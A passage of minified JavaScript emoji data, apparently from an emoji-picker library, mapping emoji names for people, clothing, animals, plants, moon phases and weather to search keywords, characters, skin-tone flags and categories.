🕺",fitzpatrick_scale:true,category:"people"},dancing_women:{keywords:["female","bunny","women","girls"],char:"👯",fitzpatrick_scale:false,category:"people"},dancing_men:{keywords:["male","bunny","men","boys"],char:"👯‍♂️",fitzpatrick_scale:false,category:"people"},couple:{keywords:["pair","people","human","love","date","dating","like","affection","valentines","marriage"],char:"👫",fitzpatrick_scale:false,category:"people"},two_men_holding_hands:{keywords:["pair","couple","love","like","bromance","friendship","people","human"],char:"👬",fitzpatrick_scale:false,category:"people"},two_women_holding_hands:{keywords:["pair","friendship","couple","love","like","female","people","human"],char:"👭",fitzpatrick_scale:false,category:"people"},bowing_woman:{keywords:["woman","female","girl"],char:"🙇‍♀️",fitzpatrick_scale:true,category:"people"},bowing_man:{keywords:["man","male","boy"],char:"🙇",fitzpatrick_scale:true,category:"people"},man_facepalming:{keywords:["man","male","boy","disbelief"],char:"🤦‍♂️",fitzpatrick_scale:true,category:"people"},woman_facepalming:{keywords:["woman","female","girl","disbelief"],char:"🤦‍♀️",fitzpatrick_scale:true,category:"people"},woman_shrugging:{keywords:["woman","female","girl","confused","indifferent","doubt"],char:"🤷",fitzpatrick_scale:true,category:"people"},man_shrugging:{keywords:["man","male","boy","confused","indifferent","doubt"],char:"🤷‍♂️",fitzpatrick_scale:true,category:"people"},tipping_hand_woman:{keywords:["female","girl","woman","human","information"],char:"💁",fitzpatrick_scale:true,category:"people"},tipping_hand_man:{keywords:["male","boy","man","human","information"],char:"💁‍♂️",fitzpatrick_scale:true,category:"people"},no_good_woman:{keywords:["female","girl","woman","nope"],char:"🙅",fitzpatrick_scale:true,category:"people"},no_good_man:{keywords:["male","boy","man","nope"],char:"🙅‍♂️",fitzpatrick_scale:true,category:"people"},ok_woman:{keywords:["women","girl","female","pink","human","woman"],char:"🙆",fitzpatrick_scale:true,category:"people"},ok_man:{keywords:["men","boy","male","blue","human","man"],char:"🙆‍♂️",fitzpatrick_scale:true,category:"people"},raising_hand_woman:{keywords:["female","girl","woman"],char:"🙋",fitzpatrick_scale:true,category:"people"},raising_hand_man:{keywords:["male","boy","man"],char:"🙋‍♂️",fitzpatrick_scale:true,category:"people"},pouting_woman:{keywords:["female","girl","woman"],char:"🙎",fitzpatrick_scale:true,category:"people"},pouting_man:{keywords:["male","boy","man"],char:"🙎‍♂️",fitzpatrick_scale:true,category:"people"},frowning_woman:{keywords:["female","girl","woman","sad","depressed","discouraged","unhappy"],char:"🙍",fitzpatrick_scale:true,category:"people"},frowning_man:{keywords:["male","boy","man","sad","depressed","discouraged","unhappy"],char:"🙍‍♂️",fitzpatrick_scale:true,category:"people"},haircut_woman:{keywords:["female","girl","woman"],char:"💇",fitzpatrick_scale:true,category:"people"},haircut_man:{keywords:["male","boy","man"],char:"💇‍♂️",fitzpatrick_scale:true,category:"people"},massage_woman:{keywords:["female","girl","woman","head"],char:"💆",fitzpatrick_scale:true,category:"people"},massage_man:{keywords:["male","boy","man","head"],char:"💆‍♂️",fitzpatrick_scale:true,category:"people"},woman_in_steamy_room:{keywords:["female","woman","spa","steamroom","sauna"],char:"🧖‍♀️",fitzpatrick_scale:true,category:"people"},man_in_steamy_room:{keywords:["male","man","spa","steamroom","sauna"],char:"🧖‍♂️",fitzpatrick_scale:true,category:"people"},couple_with_heart_woman_man:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:"💑",fitzpatrick_scale:false,category:"people"},couple_with_heart_woman_woman:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:"👩‍❤️‍👩",fitzpatrick_scale:false,category:"people"},couple_with_heart_man_man:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:"👨‍❤️‍👨",fitzpatrick_scale:false,category:"people"},couplekiss_man_woman:{keywords:["pair","valentines","love","like","dating","marriage"],char:"💏",fitzpatrick_scale:false,category:"people"},couplekiss_woman_woman:{keywords:["pair","valentines","love","like","dating","marriage"],char:"👩‍❤️‍💋‍👩",fitzpatrick_scale:false,category:"people"},couplekiss_man_man:{keywords:["pair","valentines","love","like","dating","marriage"],char:"👨‍❤️‍💋‍👨",fitzpatrick_scale:false,category:"people"},family_man_woman_boy:{keywords:["home","parents","child","mom","dad","father","mother","people","human"],char:"👪",fitzpatrick_scale:false,category:"people"},family_man_woman_girl:{keywords:["home","parents","people","human","child"],char:"👨‍👩‍👧",fitzpatrick_scale:false,category:"people"},family_man_woman_girl_boy:{keywords:["home","parents","people","human","children"],char:"👨‍👩‍👧‍👦",fitzpatrick_scale:false,category:"people"},family_man_woman_boy_boy:{keywords:["home","parents","people","human","children"],char:"👨‍👩‍👦‍👦",fitzpatrick_scale:false,category:"people"},family_man_woman_girl_girl:{keywords:["home","parents","people","human","children"],char:"👨‍👩‍👧‍👧",fitzpatrick_scale:false,category:"people"},family_woman_woman_boy:{keywords:["home","parents","people","human","children"],char:"👩‍👩‍👦",fitzpatrick_scale:false,category:"people"},family_woman_woman_girl:{keywords:["home","parents","people","human","children"],char:"👩‍👩‍👧",fitzpatrick_scale:false,category:"people"},family_woman_woman_girl_boy:{keywords:["home","parents","people","human","children"],char:"👩‍👩‍👧‍👦",fitzpatrick_scale:false,category:"people"},family_woman_woman_boy_boy:{keywords:["home","parents","people","human","children"],char:"👩‍👩‍👦‍👦",fitzpatrick_scale:false,category:"people"},family_woman_woman_girl_girl:{keywords:["home","parents","people","human","children"],char:"👩‍👩‍👧‍👧",fitzpatrick_scale:false,category:"people"},family_man_man_boy:{keywords:["home","parents","people","human","children"],char:"👨‍👨‍👦",fitzpatrick_scale:false,category:"people"},family_man_man_girl:{keywords:["home","parents","people","human","children"],char:"👨‍👨‍👧",fitzpatrick_scale:false,category:"people"},family_man_man_girl_boy:{keywords:["home","parents","people","human","children"],char:"👨‍👨‍👧‍👦",fitzpatrick_scale:false,category:"people"},family_man_man_boy_boy:{keywords:["home","parents","people","human","children"],char:"👨‍👨‍👦‍👦",fitzpatrick_scale:false,category:"people"},family_man_man_girl_girl:{keywords:["home","parents","people","human","children"],char:"👨‍👨‍👧‍👧",fitzpatrick_scale:false,category:"people"},family_woman_boy:{keywords:["home","parent","people","human","child"],char:"👩‍👦",fitzpatrick_scale:false,category:"people"},family_woman_girl:{keywords:["home","parent","people","human","child"],char:"👩‍👧",fitzpatrick_scale:false,category:"people"},family_woman_girl_boy:{keywords:["home","parent","people","human","children"],char:"👩‍👧‍👦",fitzpatrick_scale:false,category:"people"},family_woman_boy_boy:{keywords:["home","parent","people","human","children"],char:"👩‍👦‍👦",fitzpatrick_scale:false,category:"people"},family_woman_girl_girl:{keywords:["home","parent","people","human","children"],char:"👩‍👧‍👧",fitzpatrick_scale:false,category:"people"},family_man_boy:{keywords:["home","parent","people","human","child"],char:"👨‍👦",fitzpatrick_scale:false,category:"people"},family_man_girl:{keywords:["home","parent","people","human","child"],char:"👨‍👧",fitzpatrick_scale:false,category:"people"},family_man_girl_boy:{keywords:["home","parent","people","human","children"],char:"👨‍👧‍👦",fitzpatrick_scale:false,category:"people"},family_man_boy_boy:{keywords:["home","parent","people","human","children"],char:"👨‍👦‍👦",fitzpatrick_scale:false,category:"people"},family_man_girl_girl:{keywords:["home","parent","people","human","children"],char:"👨‍👧‍👧",fitzpatrick_scale:false,category:"people"},yarn:{keywords:["ball","crochet","knit"],char:"🧶",fitzpatrick_scale:false,category:"people"},thread:{keywords:["needle","sewing","spool","string"],char:"🧵",fitzpatrick_scale:false,category:"people"},coat:{keywords:["jacket"],char:"🧥",fitzpatrick_scale:false,category:"people"},labcoat:{keywords:["doctor","experiment","scientist","chemist"],char:"🥼",fitzpatrick_scale:false,category:"people"},womans_clothes:{keywords:["fashion","shopping_bags","female"],char:"👚",fitzpatrick_scale:false,category:"people"},tshirt:{keywords:["fashion","cloth","casual","shirt","tee"],char:"👕",fitzpatrick_scale:false,category:"people"},jeans:{keywords:["fashion","shopping"],char:"👖",fitzpatrick_scale:false,category:"people"},necktie:{keywords:["shirt","suitup","formal","fashion","cloth","business"],char:"👔",fitzpatrick_scale:false,category:"people"},dress:{keywords:["clothes","fashion","shopping"],char:"👗",fitzpatrick_scale:false,category:"people"},bikini:{keywords:["swimming","female","woman","girl","fashion","beach","summer"],char:"👙",fitzpatrick_scale:false,category:"people"},kimono:{keywords:["dress","fashion","women","female","japanese"],char:"👘",fitzpatrick_scale:false,category:"people"},lipstick:{keywords:["female","girl","fashion","woman"],char:"💄",fitzpatrick_scale:false,category:"people"},kiss:{keywords:["face","lips","love","like","affection","valentines"],char:"💋",fitzpatrick_scale:false,category:"people"},footprints:{keywords:["feet","tracking","walking","beach"],char:"👣",fitzpatrick_scale:false,category:"people"},flat_shoe:{keywords:["ballet","slip-on","slipper"],char:"🥿",fitzpatrick_scale:false,category:"people"},high_heel:{keywords:["fashion","shoes","female","pumps","stiletto"],char:"👠",fitzpatrick_scale:false,category:"people"},sandal:{keywords:["shoes","fashion","flip flops"],char:"👡",fitzpatrick_scale:false,category:"people"},boot:{keywords:["shoes","fashion"],char:"👢",fitzpatrick_scale:false,category:"people"},mans_shoe:{keywords:["fashion","male"],char:"👞",fitzpatrick_scale:false,category:"people"},athletic_shoe:{keywords:["shoes","sports","sneakers"],char:"👟",fitzpatrick_scale:false,category:"people"},hiking_boot:{keywords:["backpacking","camping","hiking"],char:"🥾",fitzpatrick_scale:false,category:"people"},socks:{keywords:["stockings","clothes"],char:"🧦",fitzpatrick_scale:false,category:"people"},gloves:{keywords:["hands","winter","clothes"],char:"🧤",fitzpatrick_scale:false,category:"people"},scarf:{keywords:["neck","winter","clothes"],char:"🧣",fitzpatrick_scale:false,category:"people"},womans_hat:{keywords:["fashion","accessories","female","lady","spring"],char:"👒",fitzpatrick_scale:false,category:"people"},tophat:{keywords:["magic","gentleman","classy","circus"],char:"🎩",fitzpatrick_scale:false,category:"people"},billed_hat:{keywords:["cap","baseball"],char:"🧢",fitzpatrick_scale:false,category:"people"},rescue_worker_helmet:{keywords:["construction","build"],char:"⛑",fitzpatrick_scale:false,category:"people"},mortar_board:{keywords:["school","college","degree","university","graduation","cap","hat","legal","learn","education"],char:"🎓",fitzpatrick_scale:false,category:"people"},crown:{keywords:["king","kod","leader","royalty","lord"],char:"👑",fitzpatrick_scale:false,category:"people"},school_satchel:{keywords:["student","education","bag","backpack"],char:"🎒",fitzpatrick_scale:false,category:"people"},luggage:{keywords:["packing","travel"],char:"🧳",fitzpatrick_scale:false,category:"people"},pouch:{keywords:["bag","accessories","shopping"],char:"👝",fitzpatrick_scale:false,category:"people"},purse:{keywords:["fashion","accessories","money","sales","shopping"],char:"👛",fitzpatrick_scale:false,category:"people"},handbag:{keywords:["fashion","accessory","accessories","shopping"],char:"👜",fitzpatrick_scale:false,category:"people"},briefcase:{keywords:["business","documents","work","law","legal","job","career"],char:"💼",fitzpatrick_scale:false,category:"people"},eyeglasses:{keywords:["fashion","accessories","eyesight","nerdy","dork","geek"],char:"👓",fitzpatrick_scale:false,category:"people"},dark_sunglasses:{keywords:["face","cool","accessories"],char:"🕶",fitzpatrick_scale:false,category:"people"},goggles:{keywords:["eyes","protection","safety"],char:"🥽",fitzpatrick_scale:false,category:"people"},ring:{keywords:["wedding","propose","marriage","valentines","diamond","fashion","jewelry","gem","engagement"],char:"💍",fitzpatrick_scale:false,category:"people"},closed_umbrella:{keywords:["weather","rain","drizzle"],char:"🌂",fitzpatrick_scale:false,category:"people"},dog:{keywords:["animal","friend","nature","woof","puppy","pet","faithful"],char:"🐶",fitzpatrick_scale:false,category:"animals_and_nature"},cat:{keywords:["animal","meow","nature","pet","kitten"],char:"🐱",fitzpatrick_scale:false,category:"animals_and_nature"},mouse:{keywords:["animal","nature","cheese_wedge","rodent"],char:"🐭",fitzpatrick_scale:false,category:"animals_and_nature"},hamster:{keywords:["animal","nature"],char:"🐹",fitzpatrick_scale:false,category:"animals_and_nature"},rabbit:{keywords:["animal","nature","pet","spring","magic","bunny"],char:"🐰",fitzpatrick_scale:false,category:"animals_and_nature"},fox_face:{keywords:["animal","nature","face"],char:"🦊",fitzpatrick_scale:false,category:"animals_and_nature"},bear:{keywords:["animal","nature","wild"],char:"🐻",fitzpatrick_scale:false,category:"animals_and_nature"},panda_face:{keywords:["animal","nature","panda"],char:"🐼",fitzpatrick_scale:false,category:"animals_and_nature"},koala:{keywords:["animal","nature"],char:"🐨",fitzpatrick_scale:false,category:"animals_and_nature"},tiger:{keywords:["animal","cat","danger","wild","nature","roar"],char:"🐯",fitzpatrick_scale:false,category:"animals_and_nature"},lion:{keywords:["animal","nature"],char:"🦁",fitzpatrick_scale:false,category:"animals_and_nature"},cow:{keywords:["beef","ox","animal","nature","moo","milk"],char:"🐮",fitzpatrick_scale:false,category:"animals_and_nature"},pig:{keywords:["animal","oink","nature"],char:"🐷",fitzpatrick_scale:false,category:"animals_and_nature"},pig_nose:{keywords:["animal","oink"],char:"🐽",fitzpatrick_scale:false,category:"animals_and_nature"},frog:{keywords:["animal","nature","croak","toad"],char:"🐸",fitzpatrick_scale:false,category:"animals_and_nature"},squid:{keywords:["animal","nature","ocean","sea"],char:"🦑",fitzpatrick_scale:false,category:"animals_and_nature"},octopus:{keywords:["animal","creature","ocean","sea","nature","beach"],char:"🐙",fitzpatrick_scale:false,category:"animals_and_nature"},shrimp:{keywords:["animal","ocean","nature","seafood"],char:"🦐",fitzpatrick_scale:false,category:"animals_and_nature"},monkey_face:{keywords:["animal","nature","circus"],char:"🐵",fitzpatrick_scale:false,category:"animals_and_nature"},gorilla:{keywords:["animal","nature","circus"],char:"🦍",fitzpatrick_scale:false,category:"animals_and_nature"},see_no_evil:{keywords:["monkey","animal","nature","haha"],char:"🙈",fitzpatrick_scale:false,category:"animals_and_nature"},hear_no_evil:{keywords:["animal","monkey","nature"],char:"🙉",fitzpatrick_scale:false,category:"animals_and_nature"},speak_no_evil:{keywords:["monkey","animal","nature","omg"],char:"🙊",fitzpatrick_scale:false,category:"animals_and_nature"},monkey:{keywords:["animal","nature","banana","circus"],char:"🐒",fitzpatrick_scale:false,category:"animals_and_nature"},chicken:{keywords:["animal","cluck","nature","bird"],char:"🐔",fitzpatrick_scale:false,category:"animals_and_nature"},penguin:{keywords:["animal","nature"],char:"🐧",fitzpatrick_scale:false,category:"animals_and_nature"},bird:{keywords:["animal","nature","fly","tweet","spring"],char:"🐦",fitzpatrick_scale:false,category:"animals_and_nature"},baby_chick:{keywords:["animal","chicken","bird"],char:"🐤",fitzpatrick_scale:false,category:"animals_and_nature"},hatching_chick:{keywords:["animal","chicken","egg","born","baby","bird"],char:"🐣",fitzpatrick_scale:false,category:"animals_and_nature"},hatched_chick:{keywords:["animal","chicken","baby","bird"],char:"🐥",fitzpatrick_scale:false,category:"animals_and_nature"},duck:{keywords:["animal","nature","bird","mallard"],char:"🦆",fitzpatrick_scale:false,category:"animals_and_nature"},eagle:{keywords:["animal","nature","bird"],char:"🦅",fitzpatrick_scale:false,category:"animals_and_nature"},owl:{keywords:["animal","nature","bird","hoot"],char:"🦉",fitzpatrick_scale:false,category:"animals_and_nature"},bat:{keywords:["animal","nature","blind","vampire"],char:"🦇",fitzpatrick_scale:false,category:"animals_and_nature"},wolf:{keywords:["animal","nature","wild"],char:"🐺",fitzpatrick_scale:false,category:"animals_and_nature"},boar:{keywords:["animal","nature"],char:"🐗",fitzpatrick_scale:false,category:"animals_and_nature"},horse:{keywords:["animal","brown","nature"],char:"🐴",fitzpatrick_scale:false,category:"animals_and_nature"},unicorn:{keywords:["animal","nature","mystical"],char:"🦄",fitzpatrick_scale:false,category:"animals_and_nature"},honeybee:{keywords:["animal","insect","nature","bug","spring","honey"],char:"🐝",fitzpatrick_scale:false,category:"animals_and_nature"},bug:{keywords:["animal","insect","nature","worm"],char:"🐛",fitzpatrick_scale:false,category:"animals_and_nature"},butterfly:{keywords:["animal","insect","nature","caterpillar"],char:"🦋",fitzpatrick_scale:false,category:"animals_and_nature"},snail:{keywords:["slow","animal","shell"],char:"🐌",fitzpatrick_scale:false,category:"animals_and_nature"},beetle:{keywords:["animal","insect","nature","ladybug"],char:"🐞",fitzpatrick_scale:false,category:"animals_and_nature"},ant:{keywords:["animal","insect","nature","bug"],char:"🐜",fitzpatrick_scale:false,category:"animals_and_nature"},grasshopper:{keywords:["animal","cricket","chirp"],char:"🦗",fitzpatrick_scale:false,category:"animals_and_nature"},spider:{keywords:["animal","arachnid"],char:"🕷",fitzpatrick_scale:false,category:"animals_and_nature"},scorpion:{keywords:["animal","arachnid"],char:"🦂",fitzpatrick_scale:false,category:"animals_and_nature"},crab:{keywords:["animal","crustacean"],char:"🦀",fitzpatrick_scale:false,category:"animals_and_nature"},snake:{keywords:["animal","evil","nature","hiss","python"],char:"🐍",fitzpatrick_scale:false,category:"animals_and_nature"},lizard:{keywords:["animal","nature","reptile"],char:"🦎",fitzpatrick_scale:false,category:"animals_and_nature"},"t-rex":{keywords:["animal","nature","dinosaur","tyrannosaurus","extinct"],char:"🦖",fitzpatrick_scale:false,category:"animals_and_nature"},sauropod:{keywords:["animal","nature","dinosaur","brachiosaurus","brontosaurus","diplodocus","extinct"],char:"🦕",fitzpatrick_scale:false,category:"animals_and_nature"},turtle:{keywords:["animal","slow","nature","tortoise"],char:"🐢",fitzpatrick_scale:false,category:"animals_and_nature"},tropical_fish:{keywords:["animal","swim","ocean","beach","nemo"],char:"🐠",fitzpatrick_scale:false,category:"animals_and_nature"},fish:{keywords:["animal","food","nature"],char:"🐟",fitzpatrick_scale:false,category:"animals_and_nature"},blowfish:{keywords:["animal","nature","food","sea","ocean"],char:"🐡",fitzpatrick_scale:false,category:"animals_and_nature"},dolphin:{keywords:["animal","nature","fish","sea","ocean","flipper","fins","beach"],char:"🐬",fitzpatrick_scale:false,category:"animals_and_nature"},shark:{keywords:["animal","nature","fish","sea","ocean","jaws","fins","beach"],char:"🦈",fitzpatrick_scale:false,category:"animals_and_nature"},whale:{keywords:["animal","nature","sea","ocean"],char:"🐳",fitzpatrick_scale:false,category:"animals_and_nature"},whale2:{keywords:["animal","nature","sea","ocean"],char:"🐋",fitzpatrick_scale:false,category:"animals_and_nature"},crocodile:{keywords:["animal","nature","reptile","lizard","alligator"],char:"🐊",fitzpatrick_scale:false,category:"animals_and_nature"},leopard:{keywords:["animal","nature"],char:"🐆",fitzpatrick_scale:false,category:"animals_and_nature"},zebra:{keywords:["animal","nature","stripes","safari"],char:"🦓",fitzpatrick_scale:false,category:"animals_and_nature"},tiger2:{keywords:["animal","nature","roar"],char:"🐅",fitzpatrick_scale:false,category:"animals_and_nature"},water_buffalo:{keywords:["animal","nature","ox","cow"],char:"🐃",fitzpatrick_scale:false,category:"animals_and_nature"},ox:{keywords:["animal","cow","beef"],char:"🐂",fitzpatrick_scale:false,category:"animals_and_nature"},cow2:{keywords:["beef","ox","animal","nature","moo","milk"],char:"🐄",fitzpatrick_scale:false,category:"animals_and_nature"},deer:{keywords:["animal","nature","horns","venison"],char:"🦌",fitzpatrick_scale:false,category:"animals_and_nature"},dromedary_camel:{keywords:["animal","hot","desert","hump"],char:"🐪",fitzpatrick_scale:false,category:"animals_and_nature"},camel:{keywords:["animal","nature","hot","desert","hump"],char:"🐫",fitzpatrick_scale:false,category:"animals_and_nature"},giraffe:{keywords:["animal","nature","spots","safari"],char:"🦒",fitzpatrick_scale:false,category:"animals_and_nature"},elephant:{keywords:["animal","nature","nose","th","circus"],char:"🐘",fitzpatrick_scale:false,category:"animals_and_nature"},rhinoceros:{keywords:["animal","nature","horn"],char:"🦏",fitzpatrick_scale:false,category:"animals_and_nature"},goat:{keywords:["animal","nature"],char:"🐐",fitzpatrick_scale:false,category:"animals_and_nature"},ram:{keywords:["animal","sheep","nature"],char:"🐏",fitzpatrick_scale:false,category:"animals_and_nature"},sheep:{keywords:["animal","nature","wool","shipit"],char:"🐑",fitzpatrick_scale:false,category:"animals_and_nature"},racehorse:{keywords:["animal","gamble","luck"],char:"🐎",fitzpatrick_scale:false,category:"animals_and_nature"},pig2:{keywords:["animal","nature"],char:"🐖",fitzpatrick_scale:false,category:"animals_and_nature"},rat:{keywords:["animal","mouse","rodent"],char:"🐀",fitzpatrick_scale:false,category:"animals_and_nature"},mouse2:{keywords:["animal","nature","rodent"],char:"🐁",fitzpatrick_scale:false,category:"animals_and_nature"},rooster:{keywords:["animal","nature","chicken"],char:"🐓",fitzpatrick_scale:false,category:"animals_and_nature"},turkey:{keywords:["animal","bird"],char:"🦃",fitzpatrick_scale:false,category:"animals_and_nature"},dove:{keywords:["animal","bird"],char:"🕊",fitzpatrick_scale:false,category:"animals_and_nature"},dog2:{keywords:["animal","nature","friend","doge","pet","faithful"],char:"🐕",fitzpatrick_scale:false,category:"animals_and_nature"},poodle:{keywords:["dog","animal","101","nature","pet"],char:"🐩",fitzpatrick_scale:false,category:"animals_and_nature"},cat2:{keywords:["animal","meow","pet","cats"],char:"🐈",fitzpatrick_scale:false,category:"animals_and_nature"},rabbit2:{keywords:["animal","nature","pet","magic","spring"],char:"🐇",fitzpatrick_scale:false,category:"animals_and_nature"},chipmunk:{keywords:["animal","nature","rodent","squirrel"],char:"🐿",fitzpatrick_scale:false,category:"animals_and_nature"},hedgehog:{keywords:["animal","nature","spiny"],char:"🦔",fitzpatrick_scale:false,category:"animals_and_nature"},raccoon:{keywords:["animal","nature"],char:"🦝",fitzpatrick_scale:false,category:"animals_and_nature"},llama:{keywords:["animal","nature","alpaca"],char:"🦙",fitzpatrick_scale:false,category:"animals_and_nature"},hippopotamus:{keywords:["animal","nature"],char:"🦛",fitzpatrick_scale:false,category:"animals_and_nature"},kangaroo:{keywords:["animal","nature","australia","joey","hop","marsupial"],char:"🦘",fitzpatrick_scale:false,category:"animals_and_nature"},badger:{keywords:["animal","nature","honey"],char:"🦡",fitzpatrick_scale:false,category:"animals_and_nature"},swan:{keywords:["animal","nature","bird"],char:"🦢",fitzpatrick_scale:false,category:"animals_and_nature"},peacock:{keywords:["animal","nature","peahen","bird"],char:"🦚",fitzpatrick_scale:false,category:"animals_and_nature"},parrot:{keywords:["animal","nature","bird","pirate","talk"],char:"🦜",fitzpatrick_scale:false,category:"animals_and_nature"},lobster:{keywords:["animal","nature","bisque","claws","seafood"],char:"🦞",fitzpatrick_scale:false,category:"animals_and_nature"},mosquito:{keywords:["animal","nature","insect","malaria"],char:"🦟",fitzpatrick_scale:false,category:"animals_and_nature"},paw_prints:{keywords:["animal","tracking","footprints","dog","cat","pet","feet"],char:"🐾",fitzpatrick_scale:false,category:"animals_and_nature"},dragon:{keywords:["animal","myth","nature","chinese","green"],char:"🐉",fitzpatrick_scale:false,category:"animals_and_nature"},dragon_face:{keywords:["animal","myth","nature","chinese","green"],char:"🐲",fitzpatrick_scale:false,category:"animals_and_nature"},cactus:{keywords:["vegetable","plant","nature"],char:"🌵",fitzpatrick_scale:false,category:"animals_and_nature"},christmas_tree:{keywords:["festival","vacation","december","xmas","celebration"],char:"🎄",fitzpatrick_scale:false,category:"animals_and_nature"},evergreen_tree:{keywords:["plant","nature"],char:"🌲",fitzpatrick_scale:false,category:"animals_and_nature"},deciduous_tree:{keywords:["plant","nature"],char:"🌳",fitzpatrick_scale:false,category:"animals_and_nature"},palm_tree:{keywords:["plant","vegetable","nature","summer","beach","mojito","tropical"],char:"🌴",fitzpatrick_scale:false,category:"animals_and_nature"},seedling:{keywords:["plant","nature","grass","lawn","spring"],char:"🌱",fitzpatrick_scale:false,category:"animals_and_nature"},herb:{keywords:["vegetable","plant","medicine","weed","grass","lawn"],char:"🌿",fitzpatrick_scale:false,category:"animals_and_nature"},shamrock:{keywords:["vegetable","plant","nature","irish","clover"],char:"☘",fitzpatrick_scale:false,category:"animals_and_nature"},four_leaf_clover:{keywords:["vegetable","plant","nature","lucky","irish"],char:"🍀",fitzpatrick_scale:false,category:"animals_and_nature"},bamboo:{keywords:["plant","nature","vegetable","panda","pine_decoration"],char:"🎍",fitzpatrick_scale:false,category:"animals_and_nature"},tanabata_tree:{keywords:["plant","nature","branch","summer"],char:"🎋",fitzpatrick_scale:false,category:"animals_and_nature"},leaves:{keywords:["nature","plant","tree","vegetable","grass","lawn","spring"],char:"🍃",fitzpatrick_scale:false,category:"animals_and_nature"},fallen_leaf:{keywords:["nature","plant","vegetable","leaves"],char:"🍂",fitzpatrick_scale:false,category:"animals_and_nature"},maple_leaf:{keywords:["nature","plant","vegetable","ca","fall"],char:"🍁",fitzpatrick_scale:false,category:"animals_and_nature"},ear_of_rice:{keywords:["nature","plant"],char:"🌾",fitzpatrick_scale:false,category:"animals_and_nature"},hibiscus:{keywords:["plant","vegetable","flowers","beach"],char:"🌺",fitzpatrick_scale:false,category:"animals_and_nature"},sunflower:{keywords:["nature","plant","fall"],char:"🌻",fitzpatrick_scale:false,category:"animals_and_nature"},rose:{keywords:["flowers","valentines","love","spring"],char:"🌹",fitzpatrick_scale:false,category:"animals_and_nature"},wilted_flower:{keywords:["plant","nature","flower"],char:"🥀",fitzpatrick_scale:false,category:"animals_and_nature"},tulip:{keywords:["flowers","plant","nature","summer","spring"],char:"🌷",fitzpatrick_scale:false,category:"animals_and_nature"},blossom:{keywords:["nature","flowers","yellow"],char:"🌼",fitzpatrick_scale:false,category:"animals_and_nature"},cherry_blossom:{keywords:["nature","plant","spring","flower"],char:"🌸",fitzpatrick_scale:false,category:"animals_and_nature"},bouquet:{keywords:["flowers","nature","spring"],char:"💐",fitzpatrick_scale:false,category:"animals_and_nature"},mushroom:{keywords:["plant","vegetable"],char:"🍄",fitzpatrick_scale:false,category:"animals_and_nature"},chestnut:{keywords:["food","squirrel"],char:"🌰",fitzpatrick_scale:false,category:"animals_and_nature"},jack_o_lantern:{keywords:["halloween","light","pumpkin","creepy","fall"],char:"🎃",fitzpatrick_scale:false,category:"animals_and_nature"},shell:{keywords:["nature","sea","beach"],char:"🐚",fitzpatrick_scale:false,category:"animals_and_nature"},spider_web:{keywords:["animal","insect","arachnid","silk"],char:"🕸",fitzpatrick_scale:false,category:"animals_and_nature"},earth_americas:{keywords:["globe","world","USA","international"],char:"🌎",fitzpatrick_scale:false,category:"animals_and_nature"},earth_africa:{keywords:["globe","world","international"],char:"🌍",fitzpatrick_scale:false,category:"animals_and_nature"},earth_asia:{keywords:["globe","world","east","international"],char:"🌏",fitzpatrick_scale:false,category:"animals_and_nature"},full_moon:{keywords:["nature","yellow","twilight","planet","space","night","evening","sleep"],char:"🌕",fitzpatrick_scale:false,category:"animals_and_nature"},waning_gibbous_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep","waxing_gibbous_moon"],char:"🌖",fitzpatrick_scale:false,category:"animals_and_nature"},last_quarter_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌗",fitzpatrick_scale:false,category:"animals_and_nature"},waning_crescent_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌘",fitzpatrick_scale:false,category:"animals_and_nature"},new_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌑",fitzpatrick_scale:false,category:"animals_and_nature"},waxing_crescent_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌒",fitzpatrick_scale:false,category:"animals_and_nature"},first_quarter_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌓",fitzpatrick_scale:false,category:"animals_and_nature"},waxing_gibbous_moon:{keywords:["nature","night","sky","gray","twilight","planet","space","evening","sleep"],char:"🌔",fitzpatrick_scale:false,category:"animals_and_nature"},new_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌚",fitzpatrick_scale:false,category:"animals_and_nature"},full_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌝",fitzpatrick_scale:false,category:"animals_and_nature"},first_quarter_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌛",fitzpatrick_scale:false,category:"animals_and_nature"},last_quarter_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"🌜",fitzpatrick_scale:false,category:"animals_and_nature"},sun_with_face:{keywords:["nature","morning","sky"],char:"🌞",fitzpatrick_scale:false,category:"animals_and_nature"},crescent_moon:{keywords:["night","sleep","sky","evening","magic"],char:"🌙",fitzpatrick_scale:false,category:"animals_and_nature"},star:{keywords:["night","yellow"],char:"⭐",fitzpatrick_scale:false,category:"animals_and_nature"},star2:{keywords:["night","sparkle","awesome","good","magic"],char:"🌟",fitzpatrick_scale:false,category:"animals_and_nature"},dizzy:{keywords:["star","sparkle","shoot","magic"],char:"💫",fitzpatrick_scale:false,category:"animals_and_nature"},sparkles:{keywords:["stars","shine","shiny","cool","awesome","good","magic"],char:"✨",fitzpatrick_scale:false,category:"animals_and_nature"},comet:{keywords:["space"],char:"☄",fitzpatrick_scale:false,category:"animals_and_nature"},sunny:{keywords:["weather","nature","brightness","summer","beach","spring"],char:"☀️",fitzpatrick_scale:false,category:"animals_and_nature"},sun_behind_small_cloud:{keywords:["weather"],char:"🌤",fitzpatrick_scale:false,category:"animals_and_nature"},partly_sunny:{keywords:["weather","nature","cloudy","morning","fall","spring"],char:"⛅",fitzpatrick_scale:false,category:"animals_and_nature"},sun_behind_large_cloud:{keywords:["weather"],char:"🌥",fitzpatrick_scale:false,category:"animals_and_nature"},sun_behind_rain_cloud:{keywords:["weather"],char:"🌦",fitzpatrick_scale:false,category:"animals_and_nature"},cloud:{keywords:["weather","sky"],char:"☁️",fitzpatrick_scale:false,category:"animals_and_nature"},cloud_with_rain:{keywords:["weather"],char:"🌧",fitzpatrick_scale:false,category:"animals_and_nature"},cloud_with_lightning_and_rain:{keywords:["weather","lightning"],char:"⛈",fitzpatrick_scale:false,category:"animals_and_nature"},cloud_with_lightning:{keywords:["weather","thunder"],char:"🌩",fitzpatrick_scale:false,category:"animals_and_nature"},zap: